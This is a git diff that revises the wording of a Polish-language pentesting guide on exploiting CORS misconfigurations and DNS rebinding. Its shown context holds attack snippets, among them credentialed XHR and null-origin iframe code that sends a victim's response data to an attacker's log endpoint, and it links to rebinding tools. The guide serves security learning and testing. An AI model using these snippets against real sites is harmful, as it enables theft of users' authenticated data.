@ -130,22 +130,22 @@ Content-Length: 0
|
||||||
...
|
...
|
||||||
```
|
```
|
||||||
{% hint style="warning" %}
|
{% hint style="warning" %}
|
||||||
Należy zauważyć, że adres IP **0.0.0.0** w systemie Linux działa w celu **obejścia** tych wymagań, umożliwiając dostęp do localhost, ponieważ ten adres IP nie jest uważany za "lokalny".
|
Należy zauważyć, że adres IP **0.0.0.0** w systemie Linux działa w celu **obejścia** tych wymagań dotyczących dostępu do localhost, ponieważ ten adres IP nie jest uważany za "lokalny".
|
||||||
|
|
||||||
Możliwe jest również **obejście wymagań dotyczących sieci lokalnej**, jeśli użyjesz **publicznego adresu IP lokalnego punktu końcowego** (takiego jak publiczny adres IP routera). Ponieważ w kilku przypadkach, nawet jeśli **publiczny adres IP** jest używany, jeśli jest to **z sieci lokalnej**, dostęp zostanie udzielony.
|
Możliwe jest również **obejście wymagań dotyczących sieci lokalnej**, jeśli użyjesz **publicznego adresu IP lokalnego punktu końcowego** (takiego jak publiczny adres IP routera). Ponieważ w kilku przypadkach, nawet jeśli **publiczny adres IP** jest używany, jeśli jest to **z sieci lokalnej**, dostęp zostanie udzielony.
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
## Wykorzystywane błędy konfiguracyjne
|
## Wykorzystywane błędy konfiguracyjne
|
||||||
|
|
||||||
Zauważono, że ustawienie `Access-Control-Allow-Credentials` na **`true`** jest warunkiem koniecznym dla większości **rzeczywistych ataków**. To ustawienie pozwala przeglądarce wysyłać dane uwierzytelniające i odczytywać odpowiedzi, zwiększając skuteczność ataku. Bez tego korzyść z zmuszania przeglądarki do wysłania żądania zamiast samodzielnie tego robić maleje, ponieważ wykorzystanie plików cookie użytkownika staje się niemożliwe.
|
Zauważono, że ustawienie `Access-Control-Allow-Credentials` na **`true`** jest warunkiem koniecznym dla większości **rzeczywistych ataków**. To ustawienie pozwala przeglądarce na wysyłanie poświadczeń i odczytywanie odpowiedzi, zwiększając skuteczność ataku. Bez tego korzyść z zmuszania przeglądarki do wysłania żądania zamiast samodzielnie tego robić maleje, ponieważ wykorzystanie plików cookie użytkownika staje się niemożliwe.
|
||||||
|
|
||||||
### Wyjątek: Wykorzystanie Lokalizacji Sieciowej jako Formy Uwierzytelnienia
|
### Wyjątek: Wykorzystanie Lokalizacji Sieciowej jako Formy Autoryzacji
|
||||||
|
|
||||||
Istnieje wyjątek, gdzie lokalizacja sieciowa ofiary działa jako forma uwierzytelnienia. Pozwala to na wykorzystanie przeglądarki ofiary jako proxy, omijając uwierzytelnianie oparte na adresie IP w celu uzyskania dostępu do aplikacji sieci wewnętrznej. Ta metoda ma podobne skutki jak przekierowanie DNS, ale jest prostsza do wykorzystania.
|
Istnieje wyjątek, gdzie lokalizacja sieciowa ofiary działa jako forma autoryzacji. Pozwala to na użycie przeglądarki ofiary jako proxy, omijając autoryzację opartą na adresie IP w celu uzyskania dostępu do aplikacji w sieci wewnętrznej. Ta metoda ma podobne skutki jak przekierowanie DNS, ale jest łatwiejsza do wykorzystania.
|
||||||
|
|
||||||
### Odzwierciedlenie `Origin` w `Access-Control-Allow-Origin`
|
### Odzwierciedlenie `Origin` w `Access-Control-Allow-Origin`
|
||||||
|
|
||||||
Scenariusz rzeczywisty, w którym wartość nagłówka `Origin` jest odzwierciedlana w `Access-Control-Allow-Origin`, jest teoretycznie mało prawdopodobny ze względu na ograniczenia dotyczące łączenia tych nagłówków. Jednak programiści starający się włączyć CORS dla wielu adresów URL mogą dynamicznie generować nagłówek `Access-Control-Allow-Origin`, kopiując wartość nagłówka `Origin`. Ten sposób może wprowadzić podatności, zwłaszcza gdy atakujący używa domeny o nazwie zaprojektowanej tak, aby wydawała się wiarygodna, wprowadzając w błąd logikę walidacji.
|
Teoretycznie mało prawdopodobny jest scenariusz, w którym wartość nagłówka `Origin` jest odzwierciedlana w `Access-Control-Allow-Origin` z powodu ograniczeń dotyczących łączenia tych nagłówków. Jednak programiści starający się włączyć CORS dla wielu adresów URL mogą dynamicznie generować nagłówek `Access-Control-Allow-Origin`, kopiując wartość nagłówka `Origin`. Ten podejście może wprowadzić podatności, zwłaszcza gdy atakujący używa domeny o nazwie zaprojektowanej tak, aby wydawała się wiarygodna, wprowadzając w błąd logikę walidacji.
|
||||||
```html
|
```html
|
||||||
<script>
|
<script>
|
||||||
var req = new XMLHttpRequest();
|
var req = new XMLHttpRequest();
|
||||||
|
@ -160,7 +160,7 @@ location='/log?key='+this.responseText;
|
||||||
```
|
```
|
||||||
### Wykorzystywanie pochodzenia `null`
|
### Wykorzystywanie pochodzenia `null`
|
||||||
|
|
||||||
Pochodzenie `null`, określone dla sytuacji takich jak przekierowania lub lokalne pliki HTML, zajmuje wyjątkową pozycję. Niektóre aplikacje dodają to pochodzenie do białej listy w celu ułatwienia lokalnego rozwoju, co nieumyślnie pozwala dowolnej witrynie na udawanie pochodzenia `null` za pomocą osadzonego iframu, co umożliwia obejście ograniczeń CORS.
|
Pochodzenie `null`, określone dla sytuacji takich jak przekierowania lub lokalne pliki HTML, zajmuje wyjątkową pozycję. Niektóre aplikacje dodają to pochodzenie do białej listy w celu ułatwienia lokalnego rozwoju, co nieumyślnie pozwala dowolnej witrynie na udawanie pochodzenia `null` za pomocą osadzonego iframu, co umożliwia ominięcie ograniczeń CORS.
|
||||||
```html
|
```html
|
||||||
<iframe sandbox="allow-scripts allow-top-navigation allow-forms" src="data:text/html,<script>
|
<iframe sandbox="allow-scripts allow-top-navigation allow-forms" src="data:text/html,<script>
|
||||||
var req = new XMLHttpRequest();
|
var req = new XMLHttpRequest();
|
||||||
|
@ -194,15 +194,15 @@ Podczas napotkania białej listy domen ważne jest przetestowanie możliwości b
|
||||||
|
|
||||||
Wzorce Regex zazwyczaj koncentrują się na znakach alfanumerycznych, kropce (.), i myślniku (-), pomijając inne możliwości. Na przykład, nazwa domeny stworzona tak, aby zawierać znaki interpretowane inaczej przez przeglądarki i wzorce Regex, może ominąć kontrole bezpieczeństwa. Obsługa znaków podkreślenia w subdomenach przez Safari, Chrome i Firefox ilustruje, jak takie rozbieżności mogą być wykorzystane do obejścia logiki walidacji domeny.
|
Wzorce Regex zazwyczaj koncentrują się na znakach alfanumerycznych, kropce (.), i myślniku (-), pomijając inne możliwości. Na przykład, nazwa domeny stworzona tak, aby zawierać znaki interpretowane inaczej przez przeglądarki i wzorce Regex, może ominąć kontrole bezpieczeństwa. Obsługa znaków podkreślenia w subdomenach przez Safari, Chrome i Firefox ilustruje, jak takie rozbieżności mogą być wykorzystane do obejścia logiki walidacji domeny.
|
||||||
|
|
||||||
**Aby uzyskać więcej informacji i ustawień tego sprawdzenia bypass:** [**https://www.corben.io/advanced-cors-techniques/**](https://www.corben.io/advanced-cors-techniques/) **i** [**https://medium.com/bugbountywriteup/think-outside-the-scope-advanced-cors-exploitation-techniques-dad019c68397**](https://medium.com/bugbountywriteup/think-outside-the-scope-advanced-cors-exploitation-techniques-dad019c68397)
|
**Aby uzyskać więcej informacji na temat tego sprawdzenia bypass:** [**https://www.corben.io/advanced-cors-techniques/**](https://www.corben.io/advanced-cors-techniques/) **i** [**https://medium.com/bugbountywriteup/think-outside-the-scope-advanced-cors-exploitation-techniques-dad019c68397**](https://medium.com/bugbountywriteup/think-outside-the-scope-advanced-cors-exploitation-techniques-dad019c68397)
|
||||||
|
|
||||||
![https://miro.medium.com/v2/resize:fit:720/format:webp/1\*rolEK39-DDxeBgSq6KLKAA.png](<../.gitbook/assets/image (281).png>)
|
![https://miro.medium.com/v2/resize:fit:720/format:webp/1\*rolEK39-DDxeBgSq6KLKAA.png](<../.gitbook/assets/image (281).png>)
|
||||||
|
|
||||||
### Od XSS wewnątrz subdomeny
|
### Od XSS wewnątrz subdomeny
|
||||||
|
|
||||||
Programiści często implementują mechanizmy obronne, aby chronić się przed eksploatacją CORS poprzez uwzględnienie na białej liście domen, które mają zezwolenie na żądanie informacji. Pomimo tych środków ostrożności, bezpieczeństwo systemu nie jest niezawodne. Obecność nawet jednej podatnej subdomeny wśród domen z białej listy może otworzyć drzwi do eksploatacji CORS poprzez inne podatności, takie jak XSS (Cross-Site Scripting).
|
Programiści często implementują mechanizmy obronne, aby chronić się przed eksploatacją CORS poprzez uwzględnianie na białej liście domen, które mają zezwolenie na żądanie informacji. Pomimo tych środków ostrożności, bezpieczeństwo systemu nie jest niezawodne. Obecność nawet jednej podatnej subdomeny wśród domen z białej listy może otworzyć drzwi do eksploatacji CORS poprzez inne podatności, takie jak XSS (Cross-Site Scripting).
|
||||||
|
|
||||||
Dla ilustracji, rozważmy scenariusz, w którym domena `requester.com` jest na białej liście do dostępu do zasobów z innej domeny, `provider.com`. Konfiguracja po stronie serwera może wyglądać mniej więcej tak:
|
Dla przykładu, rozważmy scenariusz, w którym domena `requester.com` jest na białej liście do dostępu do zasobów z innej domeny, `provider.com`. Konfiguracja po stronie serwera mogłaby wyglądać mniej więcej tak:
|
||||||
```javascript
|
```javascript
|
||||||
if ($_SERVER['HTTP_HOST'] == '*.requester.com') {
|
if ($_SERVER['HTTP_HOST'] == '*.requester.com') {
|
||||||
// Access data
|
// Access data
|
||||||
|
@ -210,13 +210,13 @@ if ($_SERVER['HTTP_HOST'] == '*.requester.com') {
|
||||||
// Unauthorized access
|
// Unauthorized access
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
W tym ustawieniu dozwolony jest dostęp do wszystkich subdomen `requester.com`. Jednakże, jeśli subdomena, na przykład `sub.requester.com`, zostanie skompromitowana poprzez podatność XSS, atakujący może wykorzystać tę słabość. Na przykład atakujący mający dostęp do `sub.requester.com` mógłby wykorzystać podatność XSS do obejścia zasad CORS i złośliwie uzyskać dostęp do zasobów na `provider.com`.
|
W tej konfiguracji wszystkie subdomeny `requester.com` mają zezwolenie na dostęp. Jednakże, jeśli subdomena, na przykład `sub.requester.com`, zostanie skompromitowana poprzez podatność XSS, atakujący może wykorzystać tę słabość. Na przykład atakujący mający dostęp do `sub.requester.com` mógłby wykorzystać podatność XSS do ominięcia zasad CORS i złośliwie uzyskać dostęp do zasobów na `provider.com`.
|
||||||
|
|
||||||
### **Zatrucie pamięci podręcznej po stronie serwera**
|
### **Zatrucie pamięci podręcznej po stronie serwera**
|
||||||
|
|
||||||
[**Z tej publikacji**](https://portswigger.net/research/exploiting-cors-misconfigurations-for-bitcoins-and-bounties)
|
[**Z tej publikacji**](https://portswigger.net/research/exploiting-cors-misconfigurations-for-bitcoins-and-bounties)
|
||||||
|
|
||||||
Istnieje możliwość wykorzystania zatrucia pamięci podręcznej po stronie serwera poprzez wstrzyknięcie nagłówka HTTP, co może spowodować wywołanie przechowywanej podatności na Cross-Site Scripting (XSS). Ten scenariusz ma miejsce, gdy aplikacja nie oczyszcza nagłówka `Origin` z nielegalnych znaków, tworząc podatność szczególnie dla użytkowników Internet Explorer i Edge. Te przeglądarki traktują (0x0d) jako prawidłowy terminator nagłówka HTTP, co prowadzi do podatności na wstrzykiwanie nagłówków HTTP.
|
Istnieje możliwość wykorzystania zatrucia pamięci podręcznej po stronie serwera poprzez wstrzyknięcie nagłówka HTTP, co może spowodować wywołanie przechowywanej podatności na Cross-Site Scripting (XSS). Ten scenariusz ma miejsce, gdy aplikacja nie oczyszcza nagłówka `Origin` z nielegalnych znaków, tworząc podatność szczególnie dla użytkowników Internet Explorer i Edge. Te przeglądarki traktują (0x0d) jako legalny terminator nagłówka HTTP, co prowadzi do podatności na wstrzyknięcie nagłówka HTTP.
|
||||||
|
|
||||||
Rozważmy poniższe żądanie, w którym manipulowany jest nagłówek `Origin`:
|
Rozważmy poniższe żądanie, w którym manipulowany jest nagłówek `Origin`:
|
||||||
```
|
```
|
||||||
|
@ -229,23 +229,23 @@ HTTP/1.1 200 OK
|
||||||
Access-Control-Allow-Origin: z
|
Access-Control-Allow-Origin: z
|
||||||
Content-Type: text/html; charset=UTF-7
|
Content-Type: text/html; charset=UTF-7
|
||||||
```
|
```
|
||||||
Podczas bezpośredniego wykorzystania tej podatności poprzez wysłanie błędnego nagłówka przez przeglądarkę internetową nie jest wykonalne, można ręcznie generować spreparowane żądania za pomocą narzędzi takich jak Burp Suite. Ta metoda może spowodować, że serwerowa pamięć podręczna zapisze odpowiedź i nieumyślnie udostępni ją innym. Spreparowany ładunek ma na celu zmianę zestawu znaków strony na UTF-7, kodowanie znaków często kojarzone z podatnościami XSS ze względu na zdolność kodowania znaków w taki sposób, że mogą być wykonane jako skrypt w określonych kontekstach.
|
Podczas bezpośredniego wykorzystywania tej podatności poprzez wysłanie błędnego nagłówka przez przeglądarkę internetową nie jest wykonalne, można ręcznie generować spreparowane żądania za pomocą narzędzi takich jak Burp Suite. Ta metoda może spowodować zapisanie odpowiedzi w pamięci podręcznej po stronie serwera i przypadkowe udostępnienie jej innym. Spreparowany ładunek ma na celu zmianę zestawu znaków strony na UTF-7, kodowanie znaków często kojarzone z podatnościami XSS ze względu na zdolność kodowania znaków w taki sposób, że mogą być wykonane jako skrypt w określonych kontekstach.
|
||||||
|
|
||||||
Dla dalszej lektury na temat przechowywanych podatności XSS, zobacz [PortSwigger](https://portswigger.net/web-security/cross-site-scripting/stored).
|
Aby uzyskać więcej informacji na temat podatności stored XSS, zobacz [PortSwigger](https://portswigger.net/web-security/cross-site-scripting/stored).
|
||||||
|
|
||||||
**Uwaga**: Wykorzystanie podatności na wstrzykiwanie nagłówków HTTP, zwłaszcza poprzez zatrucie serwerowej pamięci podręcznej, podkreśla kluczowe znaczenie walidacji i oczyszczania wszystkich dostarczanych przez użytkownika danych, w tym nagłówków HTTP. Zawsze stosuj solidny model bezpieczeństwa, który obejmuje walidację danych wejściowych, aby zapobiec takim podatnościom.
|
**Uwaga**: Wykorzystanie podatności wstrzykiwania nagłówków HTTP, zwłaszcza poprzez zatrucie pamięci podręcznej po stronie serwera, podkreśla kluczowe znaczenie walidacji i oczyszczania wszystkich dostarczanych przez użytkownika danych, w tym nagłówków HTTP. Zawsze stosuj solidny model bezpieczeństwa, który obejmuje walidację danych, aby zapobiec takim podatnościom.
|
||||||
|
|
||||||
### **Zatrucie pamięci podręcznej po stronie klienta**
|
### **Zatrucie pamięci podręcznej po stronie klienta**
|
||||||
|
|
||||||
[**Z tej publikacji**](https://portswigger.net/research/exploiting-cors-misconfigurations-for-bitcoins-and-bounties)
|
[Z tej publikacji](https://portswigger.net/research/exploiting-cors-misconfigurations-for-bitcoins-and-bounties)
|
||||||
|
|
||||||
W tym scenariuszu zaobserwowano instancję strony internetowej odzwierciedlającej zawartość niestandardowego nagłówka HTTP bez odpowiedniego kodowania. Konkretnie, strona internetowa odzwierciedla zawartość zawartą w nagłówku `X-User-id`, który może zawierać złośliwy JavaScript, jak pokazano na przykładzie, gdzie nagłówek zawiera tag obrazu SVG zaprojektowany do wykonania kodu JavaScript podczas ładowania.
|
W tym scenariuszu zaobserwowano wystąpienie strony internetowej odzwierciedlającej zawartość niestandardowego nagłówka HTTP bez odpowiedniego kodowania. Konkretnie, strona internetowa odzwierciedla zawartość zawartą w nagłówku `X-User-id`, który może zawierać złośliwy JavaScript, jak pokazano na przykładzie, gdzie nagłówek zawiera tag obrazu SVG zaprojektowany do wykonania kodu JavaScript podczas ładowania.
|
||||||
|
|
||||||
Polityki Cross-Origin Resource Sharing (CORS) pozwalają na wysyłanie niestandardowych nagłówków. Jednakże, bez bezpośredniego renderowania odpowiedzi przez przeglądarkę ze względu na ograniczenia CORS, użyteczność takiego wstrzyknięcia może wydawać się ograniczona. Krytyczny punkt pojawia się przy rozważeniu zachowania pamięci podręcznej przeglądarki. Jeśli nagłówek `Vary: Origin` nie jest określony, staje się możliwe, aby złośliwa odpowiedź została zapisana w pamięci podręcznej przeglądarki. W rezultacie ta zapisana odpowiedź może być renderowana bezpośrednio podczas nawigacji do adresu URL, omijając konieczność bezpośredniego renderowania podczas początkowego żądania. Ten mechanizm zwiększa niezawodność ataku poprzez wykorzystanie pamięci podręcznej po stronie klienta.
|
Polityki Cross-Origin Resource Sharing (CORS) pozwalają na wysyłanie niestandardowych nagłówków. Jednakże, bez bezpośredniego renderowania odpowiedzi przez przeglądarkę ze względu na ograniczenia CORS, użyteczność takiej wstrzyknięcia może wydawać się ograniczona. Krytyczny punkt pojawia się przy rozważeniu zachowania pamięci podręcznej przeglądarki. Jeśli nagłówek `Vary: Origin` nie jest określony, możliwe staje się zapisanie złośliwej odpowiedzi w pamięci podręcznej przeglądarki. W rezultacie ta zapisana odpowiedź może być renderowana bezpośrednio podczas nawigacji do adresu URL, omijając konieczność bezpośredniego renderowania podczas początkowego żądania. Ten mechanizm zwiększa niezawodność ataku poprzez wykorzystanie pamięci podręcznej po stronie klienta.
|
||||||
|
|
||||||
Aby zilustrować ten atak, dostarczony jest przykład skryptu JavaScript, zaprojektowanego do wykonania w środowisku strony internetowej, na przykład poprzez JSFiddle. Ten skrypt wykonuje prostą akcję: wysyła żądanie do określonego adresu URL z niestandardowym nagłówkiem zawierającym złośliwy JavaScript. Po pomyślnym zakończeniu żądania, próbuje nawigować do docelowego adresu URL, potencjalnie wywołując wykonanie wstrzykniętego skryptu, jeśli odpowiedź została zapisana w pamięci podręcznej bez właściwego obsługiwania nagłówka `Vary: Origin`.
|
Aby zilustrować ten atak, dostarczony jest przykład skryptu JavaScript, zaprojektowany do wykonania w środowisku strony internetowej, na przykład za pomocą JSFiddle. Ten skrypt wykonuje prostą akcję: wysyła żądanie pod wskazany adres URL z niestandardowym nagłówkiem zawierającym złośliwy JavaScript. Po pomyślnym zakończeniu żądania, próbuje nawigować do docelowego adresu URL, potencjalnie wywołując wykonanie wstrzykniętego skryptu, jeśli odpowiedź została zapisana w pamięci podręcznej bez właściwego obsługiwania nagłówka `Vary: Origin`.
|
||||||
|
|
||||||
Oto zwięzłe podsumowanie użytego JavaScriptu do wykonania tego ataku:
|
Poniżej znajduje się zwięzłe podsumowanie użytego JavaScriptu do wykonania tego ataku:
|
||||||
```html
|
```html
|
||||||
<script>
|
<script>
|
||||||
function gotcha() { location=url }
|
function gotcha() { location=url }
|
||||||
|
@ -261,28 +261,28 @@ req.send();
|
||||||
|
|
||||||
### XSSI (Cross-Site Script Inclusion) / JSONP
|
### XSSI (Cross-Site Script Inclusion) / JSONP
|
||||||
|
|
||||||
XSSI, znane również jako Cross-Site Script Inclusion, to rodzaj podatności, który wykorzystuje fakt, że Polityka Jednego Źródła (SOP) nie ma zastosowania podczas dołączania zasobów za pomocą tagu skryptu. Dzieje się tak, ponieważ skrypty muszą być w stanie być dołączane z różnych domen. Ta podatność pozwala atakującemu uzyskać dostęp i odczytać dowolne treści dołączone za pomocą tagu skryptu.
|
XSSI, znane również jako Cross-Site Script Inclusion, to rodzaj podatności, która wykorzystuje fakt, że Polityka Jednego Źródła (SOP) nie ma zastosowania podczas dołączania zasobów za pomocą tagu skryptu. Dzieje się tak dlatego, że skrypty muszą być w stanie być dołączane z różnych domen. Ta podatność pozwala atakującemu uzyskać dostęp i odczytać dowolne treści dołączone za pomocą tagu skryptu.
|
||||||
|
|
||||||
Ta podatność staje się szczególnie istotna, gdy chodzi o dynamiczny JavaScript lub JSONP (JSON z Paddingiem), zwłaszcza gdy informacje o uprawnieniach, takie jak ciasteczka, są używane do uwierzytelniania. Podczas żądania zasobu z innej hosta, ciasteczka są dołączane, co czyni je dostępnymi dla atakującego.
|
Ta podatność staje się szczególnie istotna w przypadku dynamicznego JavaScriptu lub JSONP (JSON z Paddingiem), zwłaszcza gdy używane są informacje o autoryzacji związane z uprawnieniami. Podczas żądania zasobu z innej hosta, ciasteczka są dołączane, co sprawia, że są one dostępne dla atakującego.
|
||||||
|
|
||||||
Aby lepiej zrozumieć i złagodzić tę podatność, można skorzystać z wtyczki BurpSuite dostępnej pod adresem [https://github.com/kapytein/jsonp](https://github.com/kapytein/jsonp). Ta wtyczka może pomóc zidentyfikować i rozwiązać potencjalne podatności XSSI w twoich aplikacjach internetowych.
|
Aby lepiej zrozumieć i złagodzić tę podatność, można skorzystać z wtyczki BurpSuite dostępnej pod adresem [https://github.com/kapytein/jsonp](https://github.com/kapytein/jsonp). Ta wtyczka może pomóc zidentyfikować i rozwiązać potencjalne podatności XSSI w aplikacjach internetowych.
|
||||||
|
|
||||||
[**Dowiedz się więcej o różnych typach XSSI i jak je wykorzystać tutaj.**](xssi-cross-site-script-inclusion.md)
|
[**Dowiedz się więcej o różnych typach XSSI i jak je wykorzystać tutaj.**](xssi-cross-site-script-inclusion.md)
|
||||||
|
|
||||||
Spróbuj dodać **`callback`** **parametr** w żądaniu. Być może strona została przygotowana do wysyłania danych jako JSONP. W takim przypadku strona zwróci dane z `Content-Type: application/javascript`, co ominie politykę CORS.
|
Spróbuj dodać **`callback`** **parametr** w żądaniu. Być może strona została przygotowana do wysyłania danych jako JSONP. W takim przypadku strona zwróci dane z `Content-Type: application/javascript`, co umożliwi obejście polityki CORS.
|
||||||
|
|
||||||
![](<../.gitbook/assets/image (853).png>)
|
![](<../.gitbook/assets/image (853).png>)
|
||||||
|
|
||||||
### Łatwe (bezużyteczne?) ominiecie
|
### Łatwe (bezużyteczne?) obejście
|
||||||
|
|
||||||
Jednym ze sposobów na obejście ograniczenia `Access-Control-Allow-Origin` jest poproszenie aplikacji internetowej o wykonanie żądania w twoim imieniu i odesłanie odpowiedzi. Jednakże w tym scenariuszu dane uwierzytelniające ostatecznej ofiary nie zostaną wysłane, ponieważ żądanie jest wykonywane do innej domeny.
|
Jednym ze sposobów obejścia ograniczenia `Access-Control-Allow-Origin` jest poproszenie aplikacji internetowej o wykonanie żądania w twoim imieniu i odesłanie odpowiedzi. Jednakże, w tym scenariuszu, dane uwierzytelniające ostatecznej ofiary nie zostaną wysłane, ponieważ żądanie jest wykonywane do innej domeny.
|
||||||
|
|
||||||
1. [**CORS-escape**](https://github.com/shalvah/cors-escape): Narzędzie to dostarcza serwer proxy, który przekazuje twoje żądanie wraz z nagłówkami, jednocześnie podszywając się pod nagłówek Origin, aby pasował do żądanej domeny. W ten sposób efektywnie omija się politykę CORS. Oto przykładowe użycie z XMLHttpRequest:
|
1. [**CORS-escape**](https://github.com/shalvah/cors-escape): Narzędzie to dostarcza serwer proxy, który przekazuje twoje żądanie wraz z nagłówkami, jednocześnie podszywając się pod nagłówek Origin, aby pasował do żądanej domeny. W ten sposób efektywnie omija się politykę CORS. Oto przykładowe użycie z użyciem XMLHttpRequest:
|
||||||
2. [**simple-cors-escape**](https://github.com/shalvah/simple-cors-escape): To narzędzie oferuje alternatywne podejście do przekazywania żądania. Zamiast przekazywać twoje żądanie w oryginalnej postaci, serwer wykonuje własne żądanie z określonymi parametrami.
|
2. [**simple-cors-escape**](https://github.com/shalvah/simple-cors-escape): To narzędzie oferuje alternatywne podejście do przekazywania żądania. Zamiast przekazywać twoje żądanie w oryginalnej postaci, serwer wykonuje własne żądanie z określonymi parametrami.
|
||||||
|
|
||||||
### Ominięcie za pomocą Iframe + Popup
|
### Ominięcie za pomocą Iframe + Popup
|
||||||
|
|
||||||
Możesz **obejść sprawdzenia CORS**, takie jak `e.origin === window.origin`, **tworząc iframe** i **z niego otwierając nowe okno**. Więcej informacji znajdziesz na następnej stronie:
|
Możesz **obejść sprawdzanie CORS**, takie jak `e.origin === window.origin`, **tworząc iframe** i **otwierając z niego nowe okno**. Więcej informacji na następnej stronie:
|
||||||
|
|
||||||
{% content-ref url="xss-cross-site-scripting/iframes-in-xss-and-csp.md" %}
|
{% content-ref url="xss-cross-site-scripting/iframes-in-xss-and-csp.md" %}
|
||||||
[iframes-in-xss-and-csp.md](xss-cross-site-scripting/iframes-in-xss-and-csp.md)
|
[iframes-in-xss-and-csp.md](xss-cross-site-scripting/iframes-in-xss-and-csp.md)
|
||||||
|
@ -295,30 +295,30 @@ Przełączanie DNS za pomocą TTL to technika używana do obejścia pewnych śro
|
||||||
1. Atakujący tworzy stronę internetową i sprawia, że ofiara ją odwiedza.
|
1. Atakujący tworzy stronę internetową i sprawia, że ofiara ją odwiedza.
|
||||||
2. Następnie atakujący zmienia DNS (IP) swojej własnej domeny, aby wskazywał na stronę internetową ofiary.
|
2. Następnie atakujący zmienia DNS (IP) swojej własnej domeny, aby wskazywał na stronę internetową ofiary.
|
||||||
3. Przeglądarka ofiary buforuje odpowiedź DNS, która może zawierać wartość TTL (Time to Live) określającą, jak długo rekord DNS powinien być uważany za ważny.
|
3. Przeglądarka ofiary buforuje odpowiedź DNS, która może zawierać wartość TTL (Time to Live) określającą, jak długo rekord DNS powinien być uważany za ważny.
|
||||||
4. Gdy TTL wygaśnie, przeglądarka ofiary wykonuje nowe żądanie DNS, pozwalając atakującemu na wykonanie kodu JavaScript na stronie ofiary.
|
4. Po upływie TTL przeglądarka ofiary wykonuje nowe żądanie DNS, pozwalając atakującemu na wykonanie kodu JavaScript na stronie ofiary.
|
||||||
5. Utrzymując kontrolę nad IP ofiary, atakujący może zbierać informacje od ofiary bez wysyłania jakichkolwiek ciasteczek na serwer ofiary.
|
5. Utrzymując kontrolę nad IP ofiary, atakujący może zbierać informacje od ofiary bez wysyłania jakichkolwiek ciasteczek do serwera ofiary.
|
||||||
|
|
||||||
Warto zauważyć, że przeglądarki mają mechanizmy buforowania, które mogą zapobiec natychmiastowemu nadużyciu tej techniki, nawet przy niskich wartościach TTL.
|
Warto zauważyć, że przeglądarki mają mechanizmy buforowania, które mogą zapobiec natychmiastowemu wykorzystaniu tej techniki, nawet przy niskich wartościach TTL.
|
||||||
|
|
||||||
Przełączanie DNS może być przydatne do obejścia jawnego sprawdzania IP przeprowadzanego przez ofiarę lub w scenariuszach, w których użytkownik lub bot pozostaje na tej samej stronie przez długi czas, pozwalając buforowi wygasnąć.
|
Przełączanie DNS może być przydatne do obejścia jawnego sprawdzania IP przeprowadzanego przez ofiarę lub w scenariuszach, w których użytkownik lub bot pozostaje na tej samej stronie przez długi czas, co pozwala buforowi wygasnąć.
|
||||||
|
|
||||||
Jeśli potrzebujesz szybkiego sposobu na nadużycie przełączania DNS, możesz skorzystać z usług takich jak [https://lock.cmpxchg8b.com/rebinder.html](https://lock.cmpxchg8b.com/rebinder.html).
|
Jeśli potrzebujesz szybkiego sposobu na wykorzystanie przełączania DNS, możesz skorzystać z usług takich jak [https://lock.cmpxchg8b.com/rebinder.html](https://lock.cmpxchg8b.com/rebinder.html).
|
||||||
|
|
||||||
Aby uruchomić własny serwer przełączania DNS, możesz skorzystać z narzędzi takich jak **DNSrebinder** ([https://github.com/mogwailabs/DNSrebinder](https://github.com/mogwailabs/DNSrebinder)). Wymaga to wystawienia lokalnego portu 53/udp, utworzenia rekordu A wskazującego na niego (np. ns.example.com) oraz utworzenia rekordu NS wskazującego na wcześniej utworzoną poddomenę A (np. ns.example.com). Każda poddomena poddomeny ns.example.com będzie wówczas rozwiązywana przez twojego hosta.
|
Aby uruchomić własny serwer przełączania DNS, można skorzystać z narzędzi takich jak **DNSrebinder** ([https://github.com/mogwailabs/DNSrebinder](https://github.com/mogwailabs/DNSrebinder)). Wymaga to wystawienia lokalnego portu 53/udp, utworzenia rekordu A wskazującego na niego (np. ns.example.com) oraz utworzenia rekordu NS wskazującego na wcześniej utworzoną poddomenę A (np. ns.example.com). Każda poddomena poddomeny ns.example.com będzie wówczas rozwiązywana przez twój host.
|
||||||
|
|
||||||
Możesz także skorzystać z publicznie działającego serwera pod adresem [http://rebind.it/singularity.html](http://rebind.it/singularity.html) w celu dalszego zrozumienia i eksperymentowania.
|
Możesz także skorzystać z publicznie działającego serwera pod adresem [http://rebind.it/singularity.html](http://rebind.it/singularity.html) dla dalszego zrozumienia i eksperymentowania.
|
||||||
|
|
||||||
### Przełączanie DNS za pomocą **Zatłoczenia Pamięci Cache DNS**
|
### Przełączanie DNS za pomocą **Przepływu pamięci podręcznej DNS**
|
||||||
|
|
||||||
Przełączanie DNS za pomocą zatłoczenia pamięci cache DNS to kolejna technika używana do obejścia mechanizmu buforowania przeglądarek i wymuszenia drugiego żądania DNS. Oto jak to działa:
|
Przełączanie DNS za pomocą przepływu pamięci podręcznej DNS to inna technika używana do obejścia mechanizmu buforowania przeglądarek i wymuszenia drugiego żądania DNS. Oto jak to działa:
|
||||||
|
|
||||||
1. Początkowo, gdy ofiara wysyła żądanie DNS, otrzymuje odpowiedź z adresem IP atakującego.
|
1. Początkowo, gdy ofiara wysyła żądanie DNS, otrzymuje odpowiedź z adresem IP atakującego.
|
||||||
2. Aby ominąć obronę buforowania, atakujący wykorzystuje pracownika usługi. Pracownik usługi zatłacza pamięć cache DNS, co efektywnie usuwa zbuforowaną nazwę serwera atakującego.
|
2. Aby ominąć obronę buforowania, atakujący wykorzystuje pracownika usługi. Pracownik usługi zalewa pamięć podręczną DNS, co efektywnie usuwa zbuforowaną nazwę serwera atakującego.
|
||||||
3. Gdy przeglądarka ofiary wysyła drugie żądanie DNS, otrzymuje teraz adres IP 127.0.0.1, który zazwyczaj odnosi się do lokalnego hosta.
|
3. Gdy przeglądarka ofiary wysyła drugie żądanie DNS, otrzymuje teraz odpowiedź z adresem IP 127.0.0.1, który zazwyczaj odnosi się do lokalnego hosta.
|
||||||
|
|
||||||
Poprzez zatłoczenie pamięci cache DNS za pomocą pracownika usługi, atakujący może manipulować procesem rozwiązywania DNS i zmusić przeglądarkę ofiary do wysłania drugiego żądania, tym razem rozwiązując je na żądany adres IP atakującego.
|
Poprzez zalewanie pamięci podręcznej DNS pracownikiem usługi, atakujący może manipulować procesem rozwiązywania DNS i zmusić przeglądarkę ofiary do wysłania drugiego żądania, tym razem rozwiązując się na pożądany adres IP atakującego.
|
||||||
|
|
||||||
### Przełączanie DNS za pomocą **Pamięci Cache**
|
### Przełączanie DNS za pomocą **Pamięci podręcznej**
|
||||||
|
|
||||||
